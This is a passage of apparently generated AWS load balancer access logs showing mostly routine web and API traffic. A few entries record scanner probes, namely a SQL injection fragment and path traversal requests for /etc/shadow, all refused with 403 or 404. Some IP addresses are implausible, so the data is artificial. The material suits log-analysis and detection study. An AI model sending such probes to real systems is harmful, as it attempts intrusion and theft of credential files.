HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ced7-c885074e6f4345ef9aa6f966" "prod-api-alb.example.com" "-" 1 2024-11-01T01:39:19.060601Z "forward" "-" "-" "10.0.147.99:443" "200" "-" "-" +https 2024-11-01T01:39:21.019306Z prod-web-alb 193.27.228.11:33107 10.0.41.1:443 0.016135 0.309089 0.098048 403 403 260 12569 "POST /search?q=1' UNION SELECT HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ced9-a4622d4a8b1546f589e610aa" "-" "-" 5 2024-11-01T01:39:21.019306Z "forward" "-" "-" "10.0.41.1:443" "403" "-" "-" +https 2024-11-01T01:39:21.182094Z staging-alb 51.153.177.249:58122 183.55.251.13:80 0.070314 0.724273 0.020378 200 200 601 12826 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ced9-5d62d35d262c47e280588b62" "staging-alb.example.com" "-" 6 2024-11-01T01:39:21.182094Z "forward" "-" "-" "183.55.251.13:80" "200" "-" "-" +https 2024-11-01T01:39:21.675957Z staging-alb 148.17.73.123:33208 212.92.183.34:8080 0.007541 0.689356 0.046384 200 200 712 6020 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ced9-babf8a1c65ed46128afbd682" "staging-alb.example.com" "-" 8 2024-11-01T01:39:21.675957Z "forward" "-" "-" "212.92.183.34:8080" "200" "-" "-" +https 2024-11-01T01:39:22.035053Z prod-web-alb 19.212.61.208:28267 10.0.10.105:443 0.071040 0.410918 0.087836 302 302 280 4500 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ceda-190b4e2c62d94c549d99f795" "prod-web-alb.example.com" "-" 0 2024-11-01T01:39:22.035053Z "forward" "-" "-" "10.0.10.105:443" "302" "-" "-" +https 2024-11-01T01:39:23.449815Z staging-alb 25.71.243.202:20356 236.39.72.254:80 0.021978 0.182273 0.136981 200 200 702 13157 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cedb-4bcb0edb867548cc970ed481" "staging-alb.example.com" "-" 9 2024-11-01T01:39:23.449815Z "forward" "-" "-" "236.39.72.254:80" "200" "-" "-" +https 2024-11-01T01:39:24.821944Z prod-api-alb 189.191.26.11:28026 10.0.11.84:443 0.005163 0.227360 0.013459 301 301 142 14174 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cedc-e8eeb8e128d14293ade486f8" "prod-api-alb.example.com" "-" 8 2024-11-01T01:39:24.821944Z "forward" "-" "-" "10.0.11.84:443" "301" "-" "-" +https 2024-11-01T01:39:26.443352Z prod-api-alb 56.155.140.108:53077 10.0.203.223:443 0.057316 0.095561 0.079311 302 302 10 950 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cede-a042862b374642dcae175ffa" "prod-api-alb.example.com" "-" 10 2024-11-01T01:39:26.443352Z "forward" "-" "-" "10.0.203.223:443" "302" "-" "-" +https 2024-11-01T01:39:27.682729Z prod-web-alb 45.155.205.185:40874 10.0.135.106:443 0.026135 0.461580 0.095806 403 403 527 11219 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cedf-5f68569fcd7f4806ad9d3669" "-" "-" 10 2024-11-01T01:39:27.682729Z "forward" "-" "-" "10.0.135.106:443" "403" "-" "-" +https 2024-11-01T01:39:29.673976Z prod-web-alb 140.40.39.216:38115 10.0.109.193:443 0.009071 0.081783 0.052102 200 200 479 10923 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cee1-d17dcb3393e1487c84d2a253" "prod-web-alb.example.com" "-" 2 2024-11-01T01:39:29.673976Z "forward" "-" "-" "10.0.109.193:443" "200" "-" "-" +https 2024-11-01T01:39:29.806747Z prod-api-alb 0.14.73.224:64075 10.0.99.6:443 0.016559 0.119103 0.050500 200 200 105 763 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cee1-ca93eb0d8a0a4c799fe7836b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:39:29.806747Z "forward" "-" "-" "10.0.99.6:443" "200" "-" "-" +http 2024-11-01T01:39:30.884008Z staging-alb 133.198.69.34:13835 206.78.1.111:80 0.107029 0.169493 0.094977 301 301 602 6451 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cee2-f2bcdeb6d5574f8db2a07c91" "staging-alb.example.com" "-" 7 2024-11-01T01:39:30.884008Z "forward" "-" "-" "206.78.1.111:80" "301" "-" "-" +https 2024-11-01T01:39:31.532693Z prod-web-alb 6.221.49.59:16975 10.0.110.254:443 0.014178 0.129113 0.015297 301 301 384 8138 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cee3-102bdd3ee54e4365bfdd595f" "prod-web-alb.example.com" "-" 8 2024-11-01T01:39:31.532693Z "forward" "-" "-" "10.0.110.254:443" "301" "-" "-" +https 2024-11-01T01:39:32.396744Z prod-api-alb 35.94.13.9:26848 10.0.11.227:443 0.020105 0.147786 0.089915 200 200 680 10290 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cee4-599346f3f0d04fe08cefcb32" "prod-api-alb.example.com" "-" 0 2024-11-01T01:39:32.396744Z "forward" "-" "-" "10.0.11.227:443" "200" "-" "-" +https 2024-11-01T01:39:32.789169Z prod-api-alb 193.27.228.240:57118 10.0.56.78:443 0.097052 0.134871 0.011879 404 404 755 4011 "GET /images/../../../../etc/shadow HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cee4-0972207ed33d4eeca22b9e1b" "-" "-" 7 2024-11-01T01:39:32.789169Z "forward" "-" "-" "10.0.56.78:443" "404" "-" "-" +https 2024-11-01T01:39:33.358360Z prod-api-alb 208.193.219.79:20741 10.0.31.63:443 0.026411 0.027289 0.057500 200 200 760 5200 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cee5-8c98c158d33f4754a59f17bd" "prod-api-alb.example.com" "-" 4 2024-11-01T01:39:33.358360Z "forward" "-" "-" "10.0.31.63:443" "200" "-" "-" +https 2024-11-01T01:39:35.042426Z prod-web-alb 119.197.43.215:63273 10.0.227.110:443 0.060503 0.108361 0.039296 301 301 574 3103 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cee7-fc3ab3ef99fe430bbc2f3e6f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:39:35.042426Z "forward" "-" "-" "10.0.227.110:443" "301" "-" "-" +https 2024-11-01T01:39:36.621380Z prod-api-alb 61.209.152.12:64325 10.0.95.74:443 0.071402 0.160895 0.006952 301 301 181 1384 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cee8-76812fdb97ab44f48253a663" "prod-api-alb.example.com" "-" 1 2024-11-01T01:39:36.621380Z "forward" "-" "-" "10.0.95.74:443" "301" "-" "-" +https 2024-11-01T01:39:38.114008Z prod-api-alb 133.64.182.236:13031 10.0.234.237:443 0.099791 0.133688 0.043570 200 200 362 9885 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceea-0db55f76b0e1402d8e0dd47b" "prod-api-alb.example.com" "-" 2 2024-11-01T01:39:38.114008Z "forward" "-" "-" "10.0.234.237:443" "200" "-" "-" +https 2024-11-01T01:39:39.409201Z prod-web-alb 46.119.122.86:54038 10.0.98.59:443 0.036925 0.135511 0.029327 200 200 823 5951 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ceeb-bb52ec9d5d144548a8ae2f26" "prod-web-alb.example.com" "-" 7 2024-11-01T01:39:39.409201Z "forward" "-" "-" "10.0.98.59:443" "200" "-" "-" +https 2024-11-01T01:39:40.354013Z prod-api-alb 127.40.184.152:39403 10.0.95.91:443 0.001810 0.330798 0.028612 302 302 177 11342 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceec-d1a178c8f9474d33906d2a5e" "prod-api-alb.example.com" "-" 0 2024-11-01T01:39:40.354013Z "forward" "-" "-" "10.0.95.91:443" "302" "-" "-" +https 2024-11-01T01:39:41.173484Z prod-api-alb 135.220.54.122:63769 10.0.108.224:443 0.056987 0.147602 0.086849 302 302 465 13592 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ceed-12d61855bb614426abeeee0e" "prod-api-alb.example.com" "-" 3 2024-11-01T01:39:41.173484Z "forward" "-" "-" "10.0.108.224:443" "302" "-" "-" +https 2024-11-01T01:39:42.614200Z prod-api-alb 123.7.165.142:29323 10.0.155.84:443 0.022254 0.266270 0.026157 301 301 473 4692 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ceee-cbe4c6ef541c42f698b60e97" "prod-api-alb.example.com" "-" 2 2024-11-01T01:39:42.614200Z "forward" "-" "-" "10.0.155.84:443" "301" "-" "-" +https 2024-11-01T01:39:44.119258Z prod-api-alb 209.73.88.28:53072 10.0.36.129:443 0.021015 0.102121 0.009112 404 404 180 11812 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cef0-1b8ed5d49c7d49fbbe044314" "prod-api-alb.example.com" "-" 4 2024-11-01T01:39:44.119258Z "forward" "-" "-" "10.0.36.129:443" "404" "-" "-" +https 2024-11-01T01:39:44.406750Z prod-web-alb 127.116.164.53:25071 10.0.144.71:443 0.098979 0.094548 0.090620 200 200 200 10988 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cef0-cb4815c4ae5b42f7919528e0" "prod-web-alb.example.com" "-" 9 2024-11-01T01:39:44.406750Z "forward" "-" "-" "10.0.144.71:443" "200" "-" "-" +https 2024-11-01T01:39:44.707696Z prod-web-alb 13.7.152.243:13904 10.0.183.234:443 0.006160 0.066812 0.033207 404 404 163 14958 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cef0-795e0180bd474b99903f06f1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:39:44.707696Z "forward" "-" "-" "10.0.183.234:443" "404" "-" "-" +https 2024-11-01T01:39:45.857170Z prod-api-alb 65.232.173.7:16606 10.0.164.75:443 0.085485 0.392408 0.091553 302 302 608 2700 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cef1-636c2b4dba8a49e3b6d5a8c3" "prod-api-alb.example.com" "-" 5 2024-11-01T01:39:45.857170Z "forward" "-" "-" "10.0.164.75:443" "302" "-" "-" +https 2024-11-01T01:39:46.864472Z prod-web-alb 46.59.58.39:56461 10.0.49.213:443 0.039315 0.166723 0.007950 302 302 970 4153 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cef2-919179782e0d4e2d931dcfa4" "prod-web-alb.example.com" "-" 7 2024-11-01T01:39:46.864472Z "forward" "-" "-" "10.0.49.213:443" "302" "-" "-" +https 2024-11-01T01:39:47.726693Z prod-api-alb 204.184.247.28:62489 10.0.154.224:443 0.098754 0.371726 0.078494 200 200 186 13838 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cef3-963f954b356d42168ee58a45" "-" "-" 4 2024-11-01T01:39:47.726693Z "forward" "-" "-" "10.0.154.224:443" "200" "-" "-" +https 2024-11-01T01:39:49.480957Z prod-web-alb 14.195.45.25:45330 10.0.50.194:443 0.085558 0.056069 0.025678 404 404 590 1426 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cef5-364a58cab3484f59b8dadf0b" "prod-web-alb.example.com" "-" 7 2024-11-01T01:39:49.480957Z "forward" "-" "-" "10.0.50.194:443" "404" "-" "-" +http 2024-11-01T01:39:50.031014Z staging-alb 49.127.248.146:30448 148.219.184.93:443 0.112817 0.642045 0.029410 200 200 163 5023 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cef6-544d59e279e74bb59fe5d5b1" "staging-alb.example.com" "-" 2 2024-11-01T01:39:50.031014Z "forward" "-" "-" "148.219.184.93:443" "200" "-" "-" +https 2024-11-01T01:39:51.268478Z prod-api-alb 141.17.108.72:35750 10.0.65.219:443 0.040028 0.414592 0.036265 200 200 294 9793 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cef7-869f94c57d5343b19fc2208e" "prod-api-alb.example.com" "-" 8 2024-11-01T01:39:51.268478Z "forward" "-" "-" "10.0.65.219:443" "200" "-" "-" +https 2024-11-01T01:39:52.103891Z staging-alb 10.152.104.180:10751 86.42.111.80:443 0.095171 0.240467 0.050960 200 200 665 10955 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cef8-eb25a01f37944011acf6fc99" "staging-alb.example.com" "-" 1 2024-11-01T01:39:52.103891Z "forward" "-" "-" "86.42.111.80:443" "200" "-" "-" +https 2024-11-01T01:39:53.454108Z staging-alb 4.159.152.255:26516 77.246.198.98:80 0.126085 0.662307 0.016452 200 200 631 6186 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cef9-3e751da6a0454ce2b05faee0" "staging-alb.example.com" "-" 8 2024-11-01T01:39:53.454108Z "forward" "-" "-" "77.246.198.98:80" "200" "-" "-" +https 2024-11-01T01:39:54.583890Z prod-web-alb 180.108.174.62:46706 10.0.238.20:443 0.035015 0.237528 0.007727 200 200 227 11906 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cefa-e97711895742468b95203f24" "prod-web-alb.example.com" "-" 4 2024-11-01T01:39:54.583890Z "forward" "-" "-" "10.0.238.20:443" "200" "-" "-" +https 2024-11-01T01:39:54.730872Z staging-alb 28.60.160.10:57393 102.213.106.27:8080 0.026891 0.396278 0.068305 200 200 428 4254 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cefa-1116d528d6d047fa823a72cd" "staging-alb.example.com" "-" 5 2024-11-01T01:39:54.730872Z "forward" "-" "-" "102.213.106.27:8080" "200" "-" "-" +https 2024-11-01T01:39:56.408014Z prod-api-alb 55.170.100.4:39539 10.0.228.4:443 0.051686 0.293009 0.018708 200 200 204 2847 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cefc-8fc524df7082463ebe032819" "prod-api-alb.example.com" "-" 4 2024-11-01T01:39:56.408014Z "forward" "-" "-" "10.0.228.4:443" "200" "-" "-" +https 2024-11-01T01:39:57.036366Z staging-alb 90.126.107.60:20103 10.236.156.19:443 0.126026 0.217374 0.142347 200 200 882 3016 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cefd-d1007c9b590845a5a9b4bc52" "staging-alb.example.com" "-" 10 2024-11-01T01:39:57.036366Z "forward" "-" "-" "10.236.156.19:443" "200" "-" "-" +https 2024-11-01T01:39:57.828177Z staging-alb 14.82.95.218:26053 21.214.59.159:443 0.003408 0.426883 0.029565 200 200 326 13293 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cefd-ef7e9f6ef0ff4a9b9815f60b" "staging-alb.example.com" "-" 2 2024-11-01T01:39:57.828177Z "forward" "-" "-" "21.214.59.159:443" "200" "-" "-" +http 2024-11-01T01:39:58.138921Z staging-alb 19.137.199.242:13877 190.96.196.255:80 0.051453 0.412491 0.132031 301 301 738 1953 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cefe-91ad446262ae4950ab604b71" "staging-alb.example.com" "-" 2 2024-11-01T01:39:58.138921Z "forward" "-" "-" "190.96.196.255:80" "301" "-" "-" +https 2024-11-01T01:39:58.250443Z prod-web-alb 152.52.104.173:32735 10.0.214.136:443 0.022357 0.436455 0.046834 200 200 594 1625 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cefe-73c9724a228142c398884c40" "prod-web-alb.example.com" "-" 0 2024-11-01T01:39:58.250443Z "forward" "-" "-" "10.0.214.136:443" "200" "-" "-" +http 2024-11-01T01:40:00.142919Z staging-alb 83.249.232.246:39475 125.236.241.207:443 0.060366 0.619754 0.096198 301 301 752 10396 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf00-26ea0bf6d75642029fb204f1" "staging-alb.example.com" "-" 6 2024-11-01T01:40:00.142919Z "forward" "-" "-" "125.236.241.207:443" "301" "-" "-" +https 2024-11-01T01:40:00.407169Z staging-alb 153.7.105.79:50642 230.57.52.174:443 0.004342 0.213134 0.125252 200 200 589 1607 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf00-520121126c4e4f48b6120b75" "staging-alb.example.com" "-" 9 2024-11-01T01:40:00.407169Z "forward" "-" "-" "230.57.52.174:443" "200" "-" "-" +https 2024-11-01T01:40:01.464883Z prod-web-alb 210.36.242.187:43942 10.0.134.195:443 0.040886 0.164678 0.062799 301 301 692 8700 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf01-2e09b7abb754471495c97923" "prod-web-alb.example.com" "-" 7 2024-11-01T01:40:01.464883Z "forward" "-" "-" "10.0.134.195:443" "301" "-" "-" +https 2024-11-01T01:40:03.005455Z prod-web-alb 119.33.3.34:38676 10.0.176.248:443 0.061669 0.092288 0.093866 404 404 124 2438 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf03-147965bcb099460e84a164f0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:40:03.005455Z "forward" "-" "-" "10.0.176.248:443" "404" "-" "-" +https 2024-11-01T01:40:03.864640Z prod-web-alb 250.134.219.225:45506 10.0.229.238:443 0.094012 0.457294 0.036529 404 404 615 8635 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf03-d727420a7add4bbcb4eb78c7" "prod-web-alb.example.com" "-" 1 2024-11-01T01:40:03.864640Z "forward" "-" "-" "10.0.229.238:443" "404" "-" "-" +http 2024-11-01T01:40:04.519205Z staging-alb 64.165.216.116:33163 80.253.77.16:80 0.146015 0.412792 0.029043 301 301 656 6112 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf04-6aeeac12522d403b95d0b50a" "staging-alb.example.com" "-" 1 2024-11-01T01:40:04.519205Z "forward" "-" "-" "80.253.77.16:80" "301" "-" "-" +http 2024-11-01T01:40:04.771024Z staging-alb 86.112.252.236:41117 188.54.72.234:443 0.005072 0.467445 0.106650 200 200 914 5547 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf04-c90aa7af5a584994ace01385" "staging-alb.example.com" "-" 8 